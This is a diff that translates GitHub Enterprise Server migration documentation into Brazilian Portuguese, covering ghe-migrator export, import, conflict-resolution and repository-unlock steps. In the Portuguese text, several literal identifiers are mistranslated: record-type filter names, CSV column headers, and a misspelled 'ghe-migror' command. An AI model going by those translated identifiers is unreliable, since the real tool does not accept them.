+2. {% data reusables.enterprise_migrations.token-generation %} na instância de origem do {% data variables.product.prodname_ghe_server %}.
 
 {% data reusables.enterprise_migrations.make-a-list %}
 
-## Exporting the {% data variables.product.prodname_ghe_server %} source repositories
+## Exportar os repositórios de origem de {% data variables.product.prodname_ghe_server %}
 
 {% data reusables.enterprise_migrations.locking-repositories %}
 
 {% data reusables.enterprise_installation.ssh-into-instance %}
-2. To prepare a repository for export, use the `ghe-migrator add` command with the repository's URL:
-    * If you're locking the repository, append the command with `--lock`. If you're performing a trial run, `--lock` is not needed.
+2. Para preparar a exportação de um repositório, use o comando `ghe-migrator add` com a URL do repositório:
+    * Se você estiver bloqueando o repositório, adicione `--lock` ao comando. Se estiver executando um teste, não será necessário incluir `--lock`.
       ```shell
       $ ghe-migrator add https://<em>hostname</em>/<em>username</em>/<em>reponame</em> --lock
       ```
-    * You can exclude file attachments by appending `--exclude_attachments` to the command. {% data reusables.enterprise_migrations.exclude-file-attachments %}
-    * To prepare multiple repositories at once for export, create a text file listing each repository URL on a separate line, and run the `ghe-migrator add` command with the `-i` flag and the path to your text file.
+    * Você pode excluir anexos de arquivos adicionando `--exclude_attachments` ao comando. {% data reusables.enterprise_migrations.exclude-file-attachments %}
+    * Para preparar a exportação de vários repositórios de uma só vez, crie um arquivo de texto listando cada URL do repositório em uma linha separada e execute o comando `ghe-migrator add` com o sinalizador `-i` e o caminho para o seu arquivo de texto.
       ```shell
       $ ghe-migrator add -i <em>PATH</em>/<em>TO</em>/<em>YOUR</em>/<em>REPOSITORY_URLS</em>.txt
       ```
 
-3. When prompted, enter your {% data variables.product.prodname_ghe_server %} username:
+3. Quando solicitado, informe seu nome de usuário do {% data variables.product.prodname_ghe_server %}:
   ```shell
-  Enter username authorized for migration:  admin
+  Insira o nome de usuário autorizado para a migração: admin
   ```
-4. When prompted for a personal access token, enter the access token you created in "[Preparing the {% data variables.product.prodname_ghe_server %} source instance](#preparing-the-github-enterprise-server-source-instance)":
+4. Quando o token de acesso pessoal for solicitado, informe o token de acesso que você criou na seção "[Preparar a instância de origem do {% data variables.product.prodname_ghe_server %}](#preparing-the-github-enterprise-server-source-instance)":
   ```shell
-  Enter personal access token:  **************
+  Insira o token de acesso pessoal:  **************
   ```
-5. When `ghe-migrator add` has finished it will print the unique "Migration GUID" that it generated to identify this export as well as a list of the resources that were added to the export. You will use the Migration GUID that it generated in subsequent `ghe-migrator add` and `ghe-migrator export` steps to tell `ghe-migrator` to continue operating on the same export.
+5. Após a conclusão do `ghe-migrator add`, ele imprimirá o "GUID de Migração" exclusivo gerado para identificar a exportação e a lista dos recursos adicionados à exportação. Você usará o GUID de Migração gerado nas etapas subsequentes `ghe-migrator add` e `ghe-migrator export` para informar que o `ghe-migrator` deve continuar operando na mesma exportação.
   ```shell
   > 101 models added to export
   > Migration GUID: <em>example-migration-guid</em>
@@ -73,32 +74,32 @@ shortTitle: Export from your enterprise
   > attachments                  |  4
   > projects                     |  2
   ```
-  Each time you add a new repository with an existing Migration GUID it will update the existing export. If you run `ghe-migrator add` again without a Migration GUID it will start a new export and generate a new Migration GUID. **Do not re-use the Migration GUID generated during an export when you start preparing your migration for import**.
+  Sempre que você adicionar um novo repositório com o GUID de Migração atual, ele atualizará a exportação atual. Se você executar `ghe-migrator add` novamente sem GUID de Migração, ele vai iniciar uma nova exportação e gerar um novo GUID de Migração. **Não reutilize o GUID de Migração gerado durante uma exportação quando você começar a preparar a migração para importar**.
 
-3. If you locked the source repository, you can use the `ghe-migrator target_url` command to set a custom lock message on the repository page that links to the repository's new location. Pass the source repository URL, the target repository URL, and the Migration GUID from Step 5:
+3. Se você bloqueou o repositório de origem, é possível usar o comando `ghe-migrator target_url` para personalizar uma mensagem de bloqueio na página de repositório que vincula ao novo local do repositório. Informe a URL do repositório de origem, a URL do repositório de destino e o GUID de Migração da Etapa 5:
 
   ```shell
   $ ghe-migrator target_url https://<em>hostname</em>/<em>username</em>/<em>reponame</em> https://<em>target_hostname</em>/<em>target_username</em>/<em>target_reponame</em> -g <em>MIGRATION_GUID</em>
   ```
 
-6. To add more repositories to the same export, use the `ghe-migrator add` command with the `-g` flag. You'll pass in the new repository URL and the Migration GUID from Step 5:
+6. Para adicionar mais repositórios à mesma exportação, use o comando `ghe-migrator add` com o sinalizador `-g`. Informe a nova URL do repositório e o GUID de Migração da Etapa 5:
   ```shell
   $ ghe-migrator add https://<em>hostname</em>/<em>username</em>/<em>other_reponame</em> -g <em>MIGRATION_GUID</em> --lock
   ```
-7. When you've finished adding repositories, generate the migration archive using the `ghe-migrator export` command with the `-g` flag and the Migration GUID from Step 5:
+7. Quando terminar de adicionar os repositórios, gere o arquivo de migração usando o comando `ghe-migrator export` com o sinalizador `-g` e o GUID de Migração da Etapa 5:
     ```shell
     $ ghe-migrator export -g <em>MIGRATION_GUID</em>
     > Archive saved to: /data/github/current/tmp/<em>MIGRATION_GUID</em>.tar.gz
     ```
     * {% data reusables.enterprise_migrations.specify-staging-path %}
 
-8. Close the connection to {% data variables.product.product_location %}:
+8. Fechar a conexão com {% data variables.product.product_location %}:
   ```shell
   $ exit
   > logout
   > Connection to <em>hostname</em> closed.
   ```
-9. Copy the migration archive to your computer using the [`scp`](https://linuxacademy.com/blog/linux/ssh-and-scp-howto-tips-tricks#scp) command. The archive file will be named with the Migration GUID:
+9. Copie o arquivo de migração para o seu computador usando o comando [`scp`](https://linuxacademy.com/blog/linux/ssh-and-scp-howto-tips-tricks#scp). O arquivo terá o nome do GUID de Migração:
   ```shell
   $ scp -P 122 admin@<em>hostname</em>:/data/github/current/tmp/<em>MIGRATION_GUID</em>.tar.gz ~/Desktop
   ```
diff --git a/translations/pt-BR/content/admin/user-management/migrating-data-to-and-from-your-enterprise/index.md b/translations/pt-BR/content/admin/user-management/migrating-data-to-and-from-your-enterprise/index.md
index 2b27547b72..bac70ba0ab 100644
--- a/translations/pt-BR/content/admin/user-management/migrating-data-to-and-from-your-enterprise/index.md
+++ b/translations/pt-BR/content/admin/user-management/migrating-data-to-and-from-your-enterprise/index.md
@@ -1,6 +1,6 @@
 ---
-title: Migrating data to and from your enterprise
-intro: 'You can export user, organization, and repository data from {% data variables.product.prodname_ghe_server %} or {% data variables.product.prodname_dotcom_the_website %}, then import that data into {% data variables.product.product_location %}.'
+title: Migrar dados para e da sua empresa
+intro: 'É possível exportar dados de usuário, organização e repositório de {% data variables.product.prodname_ghe_server %} ou {% data variables.product.prodname_dotcom_the_website %}, e depois importar esses dados para o {% data variables.product.product_location %}.'
 redirect_from:
   - /enterprise/admin/articles/moving-a-repository-from-github-com-to-github-enterprise
   - /enterprise/admin/categories/migrations-and-upgrades
@@ -17,6 +17,6 @@ children:
   - /preparing-to-migrate-data-to-your-enterprise
   - /migrating-data-to-your-enterprise
   - /importing-data-from-third-party-version-control-systems
-shortTitle: Migration for an enterprise
+shortTitle: Migração para uma empresa
 ---
 
diff --git a/translations/pt-BR/content/admin/user-management/migrating-data-to-and-from-your-enterprise/migrating-data-to-your-enterprise.md b/translations/pt-BR/content/admin/user-management/migrating-data-to-and-from-your-enterprise/migrating-data-to-your-enterprise.md
index e6eedafa28..6082973892 100644
--- a/translations/pt-BR/content/admin/user-management/migrating-data-to-and-from-your-enterprise/migrating-data-to-your-enterprise.md
+++ b/translations/pt-BR/content/admin/user-management/migrating-data-to-and-from-your-enterprise/migrating-data-to-your-enterprise.md
@@ -1,6 +1,6 @@
 ---
-title: Migrating data to your enterprise
-intro: 'After generating a migration archive, you can import the data to your target {% data variables.product.prodname_ghe_server %} instance. You''ll be able to review changes for potential conflicts before permanently applying the changes to your target instance.'
+title: Migrar dados para a sua empresa
+intro: 'Após gerar um arquivo de migração, você poderá importar os dados para a sua instância de destino do {% data variables.product.prodname_ghe_server %}. Antes de aplicar as alterações permanentemente na instância de destino, será possível revisá-las para resolver possíveis conflitos.'
 redirect_from:
   - /enterprise/admin/guides/migrations/importing-migration-data-to-github-enterprise
   - /enterprise/admin/migrations/applying-the-imported-data-on-github-enterprise-server
@@ -18,94 +18,95 @@ type: how_to
 topics:
   - Enterprise
   - Migration
-shortTitle: Import to your enterprise
+shortTitle: Importar para a sua empresa
 ---
-## Applying the imported data on {% data variables.product.prodname_ghe_server %}
 
-Before you can migrate data to your enterprise, you must prepare the data and resolve any conflicts. For more information, see "[Preparing to migrate data to your enterprise](/admin/user-management/preparing-to-migrate-data-to-your-enterprise)."
+## Aplicar os dados importados em {% data variables.product.prodname_ghe_server %}
 
-After you prepare the data and resolve conflicts, you can apply the imported data on {% data variables.product.product_name %}.
+Antes de migrar dados para sua empresa, você deve preparar os dados e resolver quaisquer conflitos. Para obter mais informações, consulte "[Preparar para migrar dados para sua empresa](/admin/user-management/preparing-to-migrate-data-to-your-enterprise)".
+
+Depois de preparar os dados e os conflitos de resolução, você poderá aplicar os dados importados em {% data variables.product.product_name %}.
 
 {% data reusables.enterprise_installation.ssh-into-target-instance %}
 
-2. Using the `ghe-migrator import` command, start the import process. You'll need:
-    * Your Migration GUID. For more information, see "[Preparing to migrate data to your enterprise](/admin/user-management/preparing-to-migrate-data-to-your-enterprise)."
-    * Your personal access token for authentication. The personal access token that you use is only for authentication as a site administrator, and does not require any specific scope. For more information, see "[Creating a personal access token](/github/authenticating-to-github/creating-a-personal-access-token)."
+2. Usando o comando `ghe-migrator import`, comece o processo de importação. Você precisará do seguinte:
+    * Seu Migration GUID. Para obter mais informações, consulte "[Preparar para migrar dados para sua empresa](/admin/user-management/preparing-to-migrate-data-to-your-enterprise)".
+    * Seu token de acesso pessoal para autenticação. O token de acesso pessoal que você usa é apenas para autenticação como administrador do site e não requer nenhum escopo específico. Para mais informação, consulte "[Criando um token de acesso pessoal](/github/authenticating-to-github/creating-a-personal-access-token)."
 
     ```shell
     $ ghe-migrator import /home/admin/<em>MIGRATION_GUID</em>.tar.gz -g <em>MIGRATION_GUID</em> -u <em>username</em> -p <em>TOKEN</em>
-    
+
     > Starting GitHub::Migrator
     > Import 100% complete /
     ```
 
     * {% data reusables.enterprise_migrations.specify-staging-path %}
 
-## Reviewing migration data
+## Revisar dados de migração
 
-By default, `ghe-migrator audit` returns every record. It also allows you to filter records by:
+Por padrão, o `ghe-migrator audit` devolve todos os registros. Também é possível filtrar os registros por:
 
-  * The types of records.
-  * The state of the records.
+  * Tipos de registro;
+  * Estado de registro.
 
-The record types match those found in the [migrated data](/enterprise/admin/guides/migrations/about-migrations/#migrated-data).
+Os tipos de registro correspondem aos encontrados nos [dados migrados](/enterprise/admin/guides/migrations/about-migrations/#migrated-data).
 
-## Record type filters
+## Filtros por tipo de registro
 
-|      Record type      | Filter name  |
-|-----------------------|--------|
-| Users           | `user`
-| Organizations   | `organization`
-| Repositories    | `repository`
-| Teams           | `team`
-| Milestones      | `milestone`
-| Project boards  | `project`
-| Issues          | `issue`
-| Issue comments  | `issue_comment`
-| Pull requests   | `pull_request`
-| Pull request reviews | `pull_request_review`
-| Commit comments | `commit_comment`
-| Pull request review comments | `pull_request_review_comment`
-| Releases | `release`
-| Actions taken on pull requests or issues | `issue_event`
-| Protected branches | `protected_branch`
+| Tipo de registro                              | Nome do filtro                |
+| --------------------------------------------- | ----------------------------- |
+| Usuários                                      | `usuário`                     |
+| Organizações                                  | `organização`                 |
+| Repositórios                                  | `repositório`                 |
+| Equipes                                       | `equipe`                      |
+| Marcos                                        | `marco`                       |
+| Quadros de projeto                            | `project`                     |
+| Problemas                                     | `problema`                    |
+| Comentários dos problemas                     | `issue_comment`               |
+| Pull requests                                 | `pull_request`                |
+| Revisões de pull request                      | `pull_request_review`         |
+| Comentários de commit                         | `commit_comment`              |
+| Comentários das revisões de pull request      | `pull_request_review_comment` |
+| Versões                                       | `versão`                      |
+| Ações feitas em problemas ou em pull requests | `issue_event`                 |
+| Branches protegidos                           | `protected_branch`            |
 
-## Record state filters
+## Filtros por estado de registro
 
-| Record state    | Description    |
-|-----------------|----------------|
-| `export`        | The record will be exported. |
-| `import`        | The record will be imported. |
-| `map`           | The record will be mapped. |
-| `rename`        | The record will be renamed. |
-| `merge`         | The record will be merged. |
-| `exported`      | The record was successfully exported. |
-| `imported`      | The record was successfully imported. |
-| `mapped`        | The record was successfully mapped. |
-| `renamed`       | The record was successfully renamed. |
-| `merged`        | The record was successfully merged. |
-| `failed_export` | The record failed to export. |
-| `failed_import` | The record failed to be imported. |
-| `failed_map`    | The record failed to be mapped. |
-| `failed_rename` | The record failed to be renamed. |
-| `failed_merge`  | The record failed to be merged. |
+| Estado de registro | Descrição                               |
+| ------------------ | --------------------------------------- |
+| `export`           | O registro será exportado.              |
+| `import`           | O registro será importado.              |
+| `map`              | O registro será mapeado.                |
+| `rename`           | O registro será renomeado.              |
+| `merge`            | O registro passará por merge.           |
+| `exported`         | O registro foi exportado com êxito.     |
+| `imported`         | O registro foi importado com êxito.     |
+| `mapped`           | O registro foi mapeado com êxito.       |
+| `renamed`          | O registro foi renomeado com êxito.     |
+| `merged`           | O registro passou por merge com êxito.  |
+| `failed_export`    | Houve falha ao exportar o registro.     |
+| `failed_import`    | Houve falha ao importar o registro.     |
+| `failed_map`       | Houve falha ao mapear o registro.       |
+| `failed_rename`    | Houve falha ao renomear o registro.     |
+| `failed_merge`     | Houve falha ao fazer merge no registro. |
 
-## Filtering audited records
+## Filtrar registros auditados
 
-With the `ghe-migrator audit` command, you can filter based on the record type using the `-m` flag. Similarly, you can filter on the import state using the `-s` flag. The command looks like this:
+Com o comando `ghe-migrator audit`, é possível filtrar com base no tipo de registro usando o sinalizador `-m`. Da mesma forma, você pode filtrar no estado de importação usando o sinalizador `-s`. O comando fica parecido com o seguinte:
 
 ```shell
 $ ghe-migrator audit -m <em>RECORD_TYPE</em> -s <em>STATE</em> -g <em>MIGRATION_GUID</em>
 ```
 
-For example, to view every successfully imported organization and team, you would enter:
+Por exemplo, para visualizar todas as organizações e equipes importadas com êxito, você digitaria:
 ```shell
 $ ghe-migrator audit -m organization,team -s mapped,renamed -g <em>MIGRATION_GUID</em>
 > model_name,source_url,target_url,state
 > organization,https://gh.source/octo-org/,https://ghe.target/octo-org/,renamed
 ```
 
-**We strongly recommend auditing every import that failed.** To do that, you will enter:
+**É altamente recomendável fazer auditoria em todas as importações que tiveram falha.** Para fazer isso, insira:
 ```shell
 $ ghe-migrator audit -s failed_import,failed_map,failed_rename,failed_merge -g <em>MIGRATION_GUID</em>
 > model_name,source_url,target_url,state
@@ -113,40 +114,40 @@ $ ghe-migrator audit -s failed_import,failed_map,failed_rename,failed_merge -g <
 > repository,https://gh.source/octo-org/octo-project,https://ghe.target/octo-org/octo-project,failed
 ```
 
-If you have any concerns about failed imports, contact {% data variables.contact.contact_ent_support %}.
+Em caso de problemas com falhas na importação, entre em contato com o {% data variables.contact.contact_ent_support %}.
 
-## Completing the import on {% data variables.product.prodname_ghe_server %}
+## Concluir a importação em {% data variables.product.prodname_ghe_server %}
 
-After your migration is applied to your target instance and you have reviewed the migration, you''ll unlock the repositories and delete them off the source. Before deleting your source data we recommend waiting around two weeks to ensure that everything is functioning as expected.
+Depois que sua migração for aplicada à sua instância de destino e você tiver revisado a migração, você desbloqueará os repositórios e os excluirá da fonte. Antes de excluir os dados da origem, é recomendável aguardar cerca de duas semanas para garantir o funcionamento adequado de todos os procedimentos.
 
-## Unlocking repositories on the target instance
+## Desbloquear repositórios na instância de destino
 
 {% data reusables.enterprise_installation.ssh-into-instance %}
 {% data reusables.enterprise_migrations.unlocking-on-instances %}
 
-## Unlocking repositories on the source
+## Desbloquear repositórios na origem
 
-### Unlocking repositories from an organization on {% data variables.product.prodname_dotcom_the_website %}
+### Desbloquear repositórios de uma organização no {% data variables.product.prodname_dotcom_the_website %}
 
-To unlock the repositories on a {% data variables.product.prodname_dotcom_the_website %} organization, you'll send a `DELETE` request to <a href="/rest/reference/migrations#unlock-an-organization-repository" class="dotcom-only">the migration unlock endpoint</a>. You'll need:
-  * Your access token for authentication
-  * The unique `id` of the migration
-  * The name of the repository to unlock
+Para desbloquear repositórios em uma organização do {% data variables.product.prodname_dotcom_the_website %}, você enviará uma solicitação `DELETE` para o <a href="/rest/reference/migrations#unlock-an-organization-repository" class="dotcom-only">ponto de extremidade de desbloqueio da migração</a>. Você precisará do seguinte:
+  * Token de acesso para autenticação.
+  * `id` exclusivo da migração;
+  * Nome do repositório a ser desbloqueado.
 ```shell
 curl -H "Authorization: token <em>GITHUB_ACCESS_TOKEN</em>" -X DELETE \
   -H "Accept: application/vnd.github.wyandotte-preview+json" \
   https://api.github.com/orgs/<em>orgname</em>/migrations/<em>id</em>/repos/<em>repo_name</em>/lock
 ```
 
-### Deleting repositories from an organization on {% data variables.product.prodname_dotcom_the_website %}
+### Excluir repositórios de uma organização no {% data variables.product.prodname_dotcom_the_website %}
 
-After unlocking the {% data variables.product.prodname_dotcom_the_website %} organization's repositories, you should delete every repository you previously migrated using [the repository delete endpoint](/rest/reference/repos/#delete-a-repository). You'll need your access token for authentication:
+Após desbloquear os repositórios da organização de {% data variables.product.prodname_dotcom_the_website %}, você deverá excluir todos os repositórios previamente migrados usando [o ponto de extremidade de exclusão do repositório](/rest/reference/repos/#delete-a-repository). Você precisará do token de acesso para autenticação:
 ```shell
 curl -H "Authorization: token <em>GITHUB_ACCESS_TOKEN</em>" -X DELETE \
   https://api.github.com/repos/<em>orgname</em>/<em>repo_name</em>
 ```
 
-### Unlocking repositories from a {% data variables.product.prodname_ghe_server %} instance
+### Desbloquear repositórios de uma instância do {% data variables.product.prodname_ghe_server %}
 
 {% data reusables.enterprise_installation.ssh-into-instance %}
 {% data reusables.enterprise_migrations.unlocking-on-instances %}
diff --git a/translations/pt-BR/content/admin/user-management/migrating-data-to-and-from-your-enterprise/preparing-to-migrate-data-to-your-enterprise.md b/translations/pt-BR/content/admin/user-management/migrating-data-to-and-from-your-enterprise/preparing-to-migrate-data-to-your-enterprise.md
index 12b0ae88e1..3d5fefbed1 100644
--- a/translations/pt-BR/content/admin/user-management/migrating-data-to-and-from-your-enterprise/preparing-to-migrate-data-to-your-enterprise.md
+++ b/translations/pt-BR/content/admin/user-management/migrating-data-to-and-from-your-enterprise/preparing-to-migrate-data-to-your-enterprise.md
@@ -1,6 +1,6 @@
 ---
-title: Preparing to migrate data to your enterprise
-intro: 'After generating a migration archive, you can import the data to your target {% data variables.product.prodname_ghe_server %} instance. You''ll be able to review changes for potential conflicts before permanently applying the changes to your target instance.'
+title: Preparar-se para migrar dados para a sua empresa
+intro: 'Após gerar um arquivo de migração, você poderá importar os dados para a sua instância de destino do {% data variables.product.prodname_ghe_server %}. Antes de aplicar as alterações permanentemente na instância de destino, será possível revisá-las para resolver possíveis conflitos.'
 redirect_from:
   - /enterprise/admin/migrations/preparing-the-migrated-data-for-import-to-github-enterprise-server
   - /enterprise/admin/migrations/generating-a-list-of-migration-conflicts
@@ -15,11 +15,12 @@ type: how_to
 topics:
   - Enterprise
   - Migration
-shortTitle: Prepare to migrate data
+shortTitle: Prepare-se para fazer a migração dos dados
 ---
-## Preparing the migrated data for import to {% data variables.product.prodname_ghe_server %}
 
-1. Using the [`scp`](https://linuxacademy.com/blog/linux/ssh-and-scp-howto-tips-tricks#scp) command, copy the migration archive generated from your source instance or organization to your {% data variables.product.prodname_ghe_server %} target:
+## Preparar os dados migrados para importação para {% data variables.product.prodname_ghe_server %}
+
+1. Usando o comando [`scp`](https://linuxacademy.com/blog/linux/ssh-and-scp-howto-tips-tricks#scp), copie o arquivo de migração gerado na organização ou instância de origem para o destino no {% data variables.product.prodname_ghe_server %}:
 
     ```shell
     $ scp -P 122 <em>/path/to/archive/MIGRATION_GUID.tar.gz</em> admin@<em>hostname</em>:/home/admin/
@@ -27,122 +28,122 @@ shortTitle: Prepare to migrate data
 
 {% data reusables.enterprise_installation.ssh-into-target-instance %}
 
-3. Use the `ghe-migrator prepare` command to prepare the archive for import on the target instance and generate a new Migration GUID for you to use in subsequent steps:
+3. Use o comando `ghe-migrator prepare` para preparar o arquivo para importação na instância de destino e gerar um novo GUID de Migração para uso nas etapas subsequentes:
 
     ```shell
     ghe-migrator prepare /home/admin/<em>MIGRATION_GUID</em>.tar.gz
     ```
 
-    * To start a new import attempt, run `ghe-migrator prepare` again and get a new Migration GUID.
+    * Para começar uma nova tentativa de importação, execute o comando `ghe-migrator` novamente e obtenha um novo GUID de Migração.
     * {% data reusables.enterprise_migrations.specify-staging-path %}
 
-## Generating a list of migration conflicts
+## Gerar uma lista de conflitos de migração
 
-1. Using the `ghe-migrator conflicts` command with the Migration GUID, generate a *conflicts.csv* file:
+1. Usando o comando `ghe-migrator conflicts` com o GUID de migração, gere um arquivo *conflicts.csv*:
     ```shell
     $ ghe-migrator conflicts -g <em>MIGRATION_GUID</em> > conflicts.csv
     ```
-    - If no conflicts are reported, you can safely import the data by following the steps in "[Migrating data to your enterprise](/enterprise/admin/guides/migrations/applying-the-imported-data-on-github-enterprise-server/)".
-2. If there are conflicts, using the [`scp`](https://linuxacademy.com/blog/linux/ssh-and-scp-howto-tips-tricks#scp) command, copy *conflicts.csv* to your local computer:
+    - Se nenhum conflito for relatado, você poderá importar os dados com segurança seguindo as etapas em "[Migrar dados para a sua empresa](/enterprise/admin/guides/migrations/applying-the-imported-data-on-github-enterprise-server/)".
+2. Se houver conflitos, usando o comando [`scp`](https://linuxacademy.com/blog/linux/ssh-and-scp-howto-tips-tricks#scp), copie *conflicts.csv* para o seu computador local:
   ```shell
   $ scp -P 122 admin@<em>hostname</em>:conflicts.csv ~/Desktop
   ```
-3. Continue to "[Resolving migration conflicts or setting up custom mappings](#resolving-migration-conflicts-or-setting-up-custom-mappings)".
+3. Continue em "[Resolver conflitos de migração ou configurar mapeamentos personalizados](#resolving-migration-conflicts-or-setting-up-custom-mappings)".
 
-## Reviewing migration conflicts
+## Revisar conflitos de migração
 
-1. Using a text editor or [CSV-compatible spreadsheet software](https://en.wikipedia.org/wiki/Comma-separated_values#Application_support), open *conflicts.csv*.
-2. With guidance from the examples and reference tables below, review the *conflicts.csv* file to ensure that the proper actions will be taken upon import.
+1. Usando o editor de texto ou um [software de planilha compatível com CSV](https://en.wikipedia.org/wiki/Comma-separated_values#Application_support), abra o arquivo *conflicts.csv*.
+2. Seguindo os exemplos e tabelas de referência abaixo, revise o arquivo *conflicts.csv* para garantir a execução das ações adequadas na importação.
 
-The *conflicts.csv* file contains a *migration map* of conflicts and recommended actions. A migration map lists out both what data is being migrated from the source, and how the data will be applied to the target.
+O arquivo *conflicts.csv* contém um *mapa de migração* de conflitos e ações recomendadas. O mapa de migração lista quais dados estão sendo migrados da origem e como eles serão aplicados ao destino.
 
-| `model_name`   | `source_url`   | `target_url` | `recommended_action` |
-|--------------|--------------|------------|--------------------|
-| `user`         | `https://example-gh.source/octocat` | `https://example-gh.target/octocat` | `map` |
-| `organization` | `https://example-gh.source/octo-org` | `https://example-gh.target/octo-org` | `map` |
-| `repository`   | `https://example-gh.source/octo-org/widgets` | `https://example-gh.target/octo-org/widgets` | `rename` |
-| `team`         | `https://example-gh.source/orgs/octo-org/teams/admins` | `https://example-gh.target/orgs/octo-org/teams/admins` | `merge` |
+| `nome_modelo` | `url_origem`                                           | `url_destino`                                          | `ação_recomendada` |
+| ------------- | ------------------------------------------------------ | ------------------------------------------------------ | ------------------ |
+| `usuário`     | `https://exemplo-gh.source/octocat`                    | `https://exemplo-gh.target/octocat`                    | `map`              |
+| `organização` | `https://exemplo-gh.source/octo-org`                   | `https://exemplo-gh.target/octo-org`                   | `map`              |
+| `repositório` | `https://exemplo-gh.source/octo-org/widgets`           | `https://exemplo-gh.target/octo-org/widgets`           | `rename`           |
+| `equipe`      | `https://exemplo-gh.source/orgs/octo-org/teams/admins` | `https://exemplo-gh.target/orgs/octo-org/teams/admins` | `merge`            |
 
-Each row in *conflicts.csv* provides the following information:
+Cada linha do arquivo *conflicts.csv* mostra as seguintes informações:
 
-|    Name      | Description   |
-|--------------|---------------|
-| `model_name` | The type of data being changed. |
-| `source_url` | The source URL of the data. |
-| `target_url` | The expected target URL of the data.  |
-| `recommended_action` | The preferred action `ghe-migrator` will take when importing the data.  |
+| Nome               | Descrição                                                                 |
+| ------------------ | ------------------------------------------------------------------------- |
+| `nome_modelo`      | Tipo de dado que está sendo alterado.                                     |
+| `url_origem`       | URL de origem dos dados.                                                  |
+| `url_destino`      | URL esperada de destino dos dados.                                        |
+| `ação_recomendada` | Ação preferencial que o `ghe-migrator` vai executar ao importar os dados. |
 
-### Possible mappings for each record type
+### Mapeamentos possíveis para cada tipo de registro
 
-There are several different mapping actions that `ghe-migrator` can take when transferring data:
+O `ghe-migrator` pode executar várias ações de mapeamento diferentes quando transfere os dados:
 
-| `action`      | Description | Applicable models |
-|------------------------|-------------|-------------------|
-| `import`      | (default) Data from the source is imported to the target. | All record types
-| `map`         | Data from the source is replaced by existing data on the target. | Users, organizations, repositories
-| `rename`      | Data from the source is renamed, then copied over to the target. | Users, organizations, repositories
-| `map_or_rename` | If the target exists, map to that target. Otherwise, rename the imported model. | Users
-| `merge`       | Data from the source is combined with existing data on the target. | Teams
+| `Ação`          | Descrição                                                                             | Modelos aplicáveis                   |
+| --------------- | ------------------------------------------------------------------------------------- | ------------------------------------ |
+| `import`        | (padrão) Os dados da origem são importados para o destino.                            | Todos os tipos de registro           |
+| `map`           | Os dados da origem são substituídos pelos dados existentes no destino.                | Usuários, organizações, repositórios |
+| `rename`        | Os dados da origem são renomeados e copiados para o destino.                          | Usuários, organizações, repositórios |
+| `map_or_rename` | Se houver destino, mapeie para o destino. Se não houver, renomeie o modelo importado. | Usuários                             |
+| `merge`         | Os dados da origem são combinados com os dados existentes no destino.                 | Equipes                              |
 
-**We strongly suggest you review the *conflicts.csv* file and use [`ghe-migrator audit`](/enterprise/admin/guides/migrations/reviewing-migration-data) to ensure that the proper actions are being taken.** If everything looks good, you can continue to "[Migrating data to your enterprise](/enterprise/admin/guides/migrations/applying-the-imported-data-on-github-enterprise-server)".
+**É altamente recomendável que você revise o arquivo *conflicts.csv* e utilize [`ghe-migror audit`](/enterprise/admin/guides/migrations/reviewing-migration-data) para garantir que as ações adequadas estão sendo tomadas.** Se tudo estiver em ordem, você poderá continuar a "[Migrar os dados para a sua empresa](/enterprise/admin/guides/migrations/applying-the-imported-data-on-github-enterprise-server)".
 
 
-## Resolving migration conflicts or setting up custom mappings
+## Resolver conflitos de migração ou configurar mapeamentos personalizados
 
-If you believe that `ghe-migrator` will perform an incorrect change, you can make corrections by changing the data in *conflicts.csv*. You can make changes to any of the rows in *conflicts.csv*.
+Se achar que o `ghe-migrator` fará uma alteração incorreta, você poderá fazer correções alterando os dados em *conflicts.csv*. Você pode alterar qualquer linha no arquivo *conflicts.csv*.
 
-For example, let's say you notice that the `octocat` user from the source is being mapped to `octocat` on the target:
+Por exemplo, digamos que você perceba que o usuário `octocat` da origem está sendo mapeado para `octocat` no destino:
 
-| `model_name`   | `source_url`   | `target_url` | `recommended_action` |
-|--------------|--------------|------------|--------------------|
-| `user`         | `https://example-gh.source/octocat` | `https://example-gh.target/octocat` | `map`
+| `nome_modelo` | `url_origem`                        | `url_destino`                       | `ação_recomendada` |
+| ------------- | ----------------------------------- | ----------------------------------- | ------------------ |
+| `usuário`     | `https://exemplo-gh.source/octocat` | `https://exemplo-gh.target/octocat` | `map`              |
 
-You can choose to map the user to a different user on the target. Suppose you know that `octocat` should actually be `monalisa` on the target. You can change the `target_url` column in *conflicts.csv* to refer to `monalisa`:
+Você pode optar por mapear o usuário para outro usuário no destino. Suponha que você saiba que `octocat` deveria ser `monalisa` no destino. É possível alterar a coluna `url_destino` no arquivo *conflicts.csv* para se referir a `monalisa`:
 
-| `model_name`   | `source_url`   | `target_url` | `recommended_action` |
-|--------------|--------------|------------|--------------------|
-| `user`         | `https://example-gh.source/octocat` | `https://example-gh.target/monalisa` | `map`
+| `nome_modelo` | `url_origem`                        | `url_destino`                        | `ação_recomendada` |
+| ------------- | ----------------------------------- | ------------------------------------ | ------------------ |
+| `usuário`     | `https://exemplo-gh.source/octocat` | `https://exemplo-gh.target/monalisa` | `map`              |
 
-As another example, if you want to rename the `octo-org/widgets` repository to `octo-org/amazing-widgets` on the target instance, change the `target_url` to `octo-org/amazing-widgets` and the `recommend_action` to `rename`:
+Em outra situação, se você quiser renomear o repositório `octo-org/widgets` como `octo-org/amazing-widgets` na instância de destino, altere `url_destino` para `octo-org/amazing-widgets` e `ação_recomendada` para `rename`:
 
-| `model_name`   | `source_url`   | `target_url` | `recommended_action` |
-|--------------|--------------|------------|--------------------|
-| `repository`   | `https://example-gh.source/octo-org/widgets` | `https://example-gh.target/octo-org/amazing-widgets` | `rename`   |
+| `nome_modelo` | `url_origem`                                 | `url_destino`                                        | `ação_recomendada` |
+| ------------- | -------------------------------------------- | ---------------------------------------------------- | ------------------ |
+| `repositório` | `https://exemplo-gh.source/octo-org/widgets` | `https://exemplo-gh.target/octo-org/amazing-widgets` | `rename`           |
 
-### Adding custom mappings
+### Adicionar mapeamentos personalizados
 
-A common scenario during a migration is for migrated users to have different usernames on the target than they have on the source.
+Uma situação comum durante as migrações é o cenário em que os usuários migrados têm nomes de usuários diferentes no destino e na origem.
 
-Given a list of usernames from the source and a list of usernames on the target, you can build a CSV file with custom mappings and then apply it to ensure each user's username and content is correctly attributed to them at the end of a migration.
+Com uma lista de nomes de usuários da origem e uma lista de nomes de usuários do destino, você pode criar um arquivo CSV com mapeamentos personalizados e aplicá-la para garantir que o nome de usuário e o conteúdo de cada usuário sejam atribuídos corretamente no fim da migração.
 
-You can quickly generate a CSV of users being migrated in the CSV format needed to apply custom mappings by using the [`ghe-migrator audit`](/enterprise/admin/guides/migrations/reviewing-migration-data) command:
